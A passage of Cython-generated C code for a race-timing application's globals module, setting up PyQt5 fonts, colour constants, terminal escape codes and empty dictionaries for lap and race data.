"Chrono/Globals.py":76 * colors["Cyan"] = QColor( 0x00ffff ) * colors["White"] = QColor( 0xffffff ) * colors["Violet"] = QColor( 0xff00ff ) # <<<<<<<<<<<<<< * colors["Yellow"] = QColor( 0xffff00 ) * icons = {} */ __pyx_tuple__25 = PyTuple_Pack(1, __pyx_int_16711935); if (unlikely(!__pyx_tuple__25)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__25); __Pyx_GIVEREF(__pyx_tuple__25); /* "Chrono/Globals.py":77 * colors["White"] = QColor( 0xffffff ) * colors["Violet"] = QColor( 0xff00ff ) * colors["Yellow"] = QColor( 0xffff00 ) # <<<<<<<<<<<<<< * icons = {} * icons["finish flag"] = QIcon() */ __pyx_tuple__26 = PyTuple_Pack(1, __pyx_int_16776960); if (unlikely(!__pyx_tuple__26)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__26); __Pyx_GIVEREF(__pyx_tuple__26); __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; __Pyx_RefNannyFinishContext(); return -1; } static int __Pyx_InitGlobals(void) { if (__Pyx_InitStrings(__pyx_string_tab) < 0) __PYX_ERR(0, 1, __pyx_L1_error); __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_8 = PyInt_FromLong(8); if (unlikely(!__pyx_int_8)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_24 = PyInt_FromLong(24); if (unlikely(!__pyx_int_24)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_27 = PyInt_FromLong(27); if (unlikely(!__pyx_int_27)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_50 = PyInt_FromLong(50); if (unlikely(!__pyx_int_50)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_60 = PyInt_FromLong(60); if (unlikely(!__pyx_int_60)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_120 = PyInt_FromLong(120); if (unlikely(!__pyx_int_120)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_255 = PyInt_FromLong(255); if (unlikely(!__pyx_int_255)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_256 = PyInt_FromLong(256); if (unlikely(!__pyx_int_256)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_1000 = PyInt_FromLong(1000); if (unlikely(!__pyx_int_1000)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_3600 = PyInt_FromLong(3600); if (unlikely(!__pyx_int_3600)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_65280 = PyInt_FromLong(65280L); if (unlikely(!__pyx_int_65280)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_65535 = PyInt_FromLong(65535L); if (unlikely(!__pyx_int_65535)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_16711680 = PyInt_FromLong(16711680L); if (unlikely(!__pyx_int_16711680)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_16711935 = PyInt_FromLong(16711935L); if (unlikely(!__pyx_int_16711935)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_16776960 = PyInt_FromLong(16776960L); if (unlikely(!__pyx_int_16776960)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_16777215 = PyInt_FromLong(16777215L); if (unlikely(!__pyx_int_16777215)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_4294967295 = PyInt_FromString((char *)"4294967295", 0, 0); if (unlikely(!__pyx_int_4294967295)) __PYX_ERR(0, 1, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } #if PY_MAJOR_VERSION < 3 PyMODINIT_FUNC initGlobals(void); /*proto*/ PyMODINIT_FUNC initGlobals(void) #else PyMODINIT_FUNC PyInit_Globals(void); /*proto*/ PyMODINIT_FUNC PyInit_Globals(void) #endif { PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; __Pyx_RefNannyDeclarations #if CYTHON_REFNANNY __Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); if (!__Pyx_RefNanny) { PyErr_Clear(); __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); if (!__Pyx_RefNanny) Py_FatalError("failed to import 'refnanny' module"); } #endif __Pyx_RefNannySetupContext("PyMODINIT_FUNC PyInit_Globals(void)", 0); if (__Pyx_check_binary_version() < 0) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) #ifdef __Pyx_CyFunction_USED if (__pyx_CyFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_FusedFunction_USED if (__pyx_FusedFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Coroutine_USED if (__pyx_Coroutine_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Generator_USED if (__pyx_Generator_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_StopAsyncIteration_USED if (__pyx_StopAsyncIteration_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /*--- Library function declarations ---*/ /*--- Threads initialization code ---*/ #if defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS #ifdef WITH_THREAD /* Python build with threading support? */ PyEval_InitThreads(); #endif #endif /*--- Module creation code ---*/ #if PY_MAJOR_VERSION < 3 __pyx_m = Py_InitModule4("Globals", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); #else __pyx_m = PyModule_Create(&__pyx_moduledef); #endif if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) Py_INCREF(__pyx_d); __pyx_b = PyImport_AddModule(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) #if CYTHON_COMPILING_IN_PYPY Py_INCREF(__pyx_b); #endif if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error); /*--- Initialize various global constants etc. ---*/ if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif if (__pyx_module_is_main_Chrono__Globals) { if (PyObject_SetAttrString(__pyx_m, "__name__", __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) } #if PY_MAJOR_VERSION >= 3 { PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) if (!PyDict_GetItemString(modules, "Chrono.Globals")) { if (unlikely(PyDict_SetItemString(modules, "Chrono.Globals", __pyx_m) < 0)) __PYX_ERR(0, 1, __pyx_L1_error) } } #endif /*--- Builtin init code ---*/ if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Constants init code ---*/ if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Global init code ---*/ /*--- Variable export code ---*/ /*--- Function export code ---*/ /*--- Type init code ---*/ /*--- Type import code ---*/ /*--- Variable import code ---*/ /*--- Function import code ---*/ /*--- Execution code ---*/ #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /* "Chrono/Globals.py":6 * ###################################################################################### * #All Globals.... * from PyQt5.QtGui import QFont, QColor, QIcon # <<<<<<<<<<<<<< * * # string formting to concurrents lists */ __pyx_t_1 = PyList_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_QFont); __Pyx_GIVEREF(__pyx_n_s_QFont); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_QFont); __Pyx_INCREF(__pyx_n_s_QColor); __Pyx_GIVEREF(__pyx_n_s_QColor); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_n_s_QColor); __Pyx_INCREF(__pyx_n_s_QIcon); __Pyx_GIVEREF(__pyx_n_s_QIcon); PyList_SET_ITEM(__pyx_t_1, 2, __pyx_n_s_QIcon); __pyx_t_2 = __Pyx_Import(__pyx_n_s_PyQt5_QtGui, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QFont); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QFont, __pyx_t_1) < 0) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QColor); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QColor, __pyx_t_1) < 0) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QIcon); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QIcon, __pyx_t_1) < 0) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":9 * * # string formting to concurrents lists * C_concurrents_item_fmt = "%4.0d %-12.10s %-15.10s" # <<<<<<<<<<<<<< * # string formting to concurrents in monitor * C_concurrents_moni_fmt = "%-12.10s %-15.10s" */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_C_concurrents_item_fmt, __pyx_kp_u_4_0d_12_10s_15_10s) < 0) __PYX_ERR(0, 9, __pyx_L1_error) /* "Chrono/Globals.py":11 * C_concurrents_item_fmt = "%4.0d %-12.10s %-15.10s" * # string formting to concurrents in monitor * C_concurrents_moni_fmt = "%-12.10s %-15.10s" # <<<<<<<<<<<<<< * C_concurrents_ID_fmt = "ID_%16.16X" * C_concurrents_TP_fmt = "TP_%8.8X" */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_C_concurrents_moni_fmt, __pyx_kp_u_12_10s_15_10s) < 0) __PYX_ERR(0, 11, __pyx_L1_error) /* "Chrono/Globals.py":12 * # string formting to concurrents in monitor * C_concurrents_moni_fmt = "%-12.10s %-15.10s" * C_concurrents_ID_fmt = "ID_%16.16X" # <<<<<<<<<<<<<< * C_concurrents_TP_fmt = "TP_%8.8X" * # font used in list */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_C_concurrents_ID_fmt, __pyx_kp_u_ID__16_16X) < 0) __PYX_ERR(0, 12, __pyx_L1_error) /* "Chrono/Globals.py":13 * C_concurrents_moni_fmt = "%-12.10s %-15.10s" * C_concurrents_ID_fmt = "ID_%16.16X" * C_concurrents_TP_fmt = "TP_%8.8X" # <<<<<<<<<<<<<< * # font used in list * C_listFont = QFont() */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_C_concurrents_TP_fmt, __pyx_kp_u_TP__8_8X) < 0) __PYX_ERR(0, 13, __pyx_L1_error) /* "Chrono/Globals.py":15 * C_concurrents_TP_fmt = "TP_%8.8X" * # font used in list * C_listFont = QFont() # <<<<<<<<<<<<<< * C_listFont.setFamily("Courier New") * C_listFont.setPointSize(8) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QFont); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (PyDict_SetItem(__pyx_d, __pyx_n_s_C_listFont, __pyx_t_2) < 0) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":16 * # font used in list * C_listFont = QFont() * C_listFont.setFamily("Courier New") # <<<<<<<<<<<<<< * C_listFont.setPointSize(8) * C_listFont.setBold(False) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_C_listFont); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setFamily); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__3, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":17 * C_listFont = QFont() * C_listFont.setFamily("Courier New") * C_listFont.setPointSize(8) # <<<<<<<<<<<<<< * C_listFont.setBold(False) * C_listFont.setItalic(False) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_C_listFont); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setPointSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__4, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":18 * C_listFont.setFamily("Courier New") * C_listFont.setPointSize(8) * C_listFont.setBold(False) # <<<<<<<<<<<<<< * C_listFont.setItalic(False) * C_listFont.setWeight(50) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_C_listFont); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setBold); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__5, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":19 * C_listFont.setPointSize(8) * C_listFont.setBold(False) * C_listFont.setItalic(False) # <<<<<<<<<<<<<< * C_listFont.setWeight(50) * C_listFont.setKerning(False) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_C_listFont); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setItalic); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__6, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":20 * C_listFont.setBold(False) * C_listFont.setItalic(False) * C_listFont.setWeight(50) # <<<<<<<<<<<<<< * C_listFont.setKerning(False) * # */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_C_listFont); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setWeight); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__7, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":21 * C_listFont.setItalic(False) * C_listFont.setWeight(50) * C_listFont.setKerning(False) # <<<<<<<<<<<<<< * # * receiver = {} */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_C_listFont); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setKerning); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__8, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":23 * C_listFont.setKerning(False) * # * receiver = {} # <<<<<<<<<<<<<< * decoder = {} * # */ __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_receiver, __pyx_t_2) < 0) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":24 * # * receiver = {} * decoder = {} # <<<<<<<<<<<<<< * # * dictBestLapMonitor = dict() */ __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_decoder, __pyx_t_2) < 0) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":26 * decoder = {} * # * dictBestLapMonitor = dict() # <<<<<<<<<<<<<< * dictBestLap = dict() * dictRace = dict() */ __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_dictBestLapMonitor, __pyx_t_2) < 0) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":27 * # * dictBestLapMonitor = dict() * dictBestLap = dict() # <<<<<<<<<<<<<< * dictRace = dict() * # Definition for text formating in shell ( bash ) */ __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_dictBestLap, __pyx_t_2) < 0) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":28 * dictBestLapMonitor = dict() * dictBestLap = dict() * dictRace = dict() # <<<<<<<<<<<<<< * # Definition for text formating in shell ( bash ) * clear_screen = chr(27)+"c" */ __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_dictRace, __pyx_t_2) < 0) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":30 * dictRace = dict() * # Definition for text formating in shell ( bash ) * clear_screen = chr(27)+"c" # <<<<<<<<<<<<<< * text_black = chr(27)+"[30m" * text_red = chr(27)+"[31m" */ __pyx_t_2 = __Pyx_PyObject_Call(__pyx_builtin_chr, __pyx_tuple__9, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_n_u_c); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (PyDict_SetItem(__pyx_d, __pyx_n_s_clear_screen, __pyx_t_1) < 0) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/Globals.py":31 * # Definition for text formating in shell ( bash ) * clear_screen = chr(27)+"c" * text_black = chr(27)+"[30m" # <<<<<<<<<<<<<< * text_red = chr(27)+"[31m" * text_green = chr(27)+"[32m" */ __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_chr, __pyx_tuple__10, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyNumber_Add(__pyx_t_1, __pyx_kp_u_30m); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (PyDict_SetItem(__pyx_d, __pyx_n_s_text_black, __pyx_t_2) < 0) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":32 * clear_screen = chr(27)+"c" * text_black = chr(27)+"[30m" * text_red = chr(27)+"[31m" # <<<<<<<<<<<<<< * text_green = chr(27)+"[32m" * text_blue = chr(27)+"[34m" */ __pyx_t_2 = __Pyx_PyObject_Call(__pyx_builtin_chr, __pyx_tuple__11, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_kp_u_31m); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (PyDict_SetItem(__pyx_d, __pyx_n_s_text_red, __pyx_t_1) < 0) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/Globals.py":33 * text_black = chr(27)+"[30m" * text_red = chr(27)+"[31m" * text_green = chr(27)+"[32m" # <<<<<<<<<<<<<< * text_blue = chr(27)+"[34m" * text_normal = chr(27)+"[27m" */ __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_chr, __pyx_tuple__12, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyNumber_Add(__pyx_t_1, __pyx_kp_u_32m); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (PyDict_SetItem(__pyx_d, __pyx_n_s_text_green, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":34 * text_red = chr(27)+"[31m" * text_green = chr(27)+"[32m" * text_blue = chr(27)+"[34m" # <<<<<<<<<<<<<< * text_normal = chr(27)+"[27m" * text_inverted = chr(27)+"[7m" */ __pyx_t_2 = __Pyx_PyObject_Call(__pyx_builtin_chr, __pyx_tuple__13, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_kp_u_34m); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (PyDict_SetItem(__pyx_d, __pyx_n_s_text_blue, __pyx_t_1) < 0) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/Globals.py":35 * text_green = chr(27)+"[32m" * text_blue = chr(27)+"[34m" * text_normal = chr(27)+"[27m" # <<<<<<<<<<<<<< * text_inverted = chr(27)+"[7m" * # max value of time */ __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_chr, __pyx_tuple__14, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyNumber_Add(__pyx_t_1, __pyx_kp_u_27m); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (PyDict_SetItem(__pyx_d, __pyx_n_s_text_normal, __pyx_t_2) < 0) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":36 * text_blue = chr(27)+"[34m" * text_normal = chr(27)+"[27m" * text_inverted = chr(27)+"[7m" # <<<<<<<<<<<<<< * # max value of time * max_time = 0xFFFFFFFF */ __pyx_t_2 = __Pyx_PyObject_Call(__pyx_builtin_chr, __pyx_tuple__15, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_kp_u_7m); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (PyDict_SetItem(__pyx_d, __pyx_n_s_text_inverted, __pyx_t_1) < 0) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/Globals.py":38 * text_inverted = chr(27)+"[7m" * # max value of time * max_time = 0xFFFFFFFF # <<<<<<<<<<<<<< * * # *********************************************************************************************************************** */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_max_time, __pyx_int_4294967295) < 0) __PYX_ERR(0, 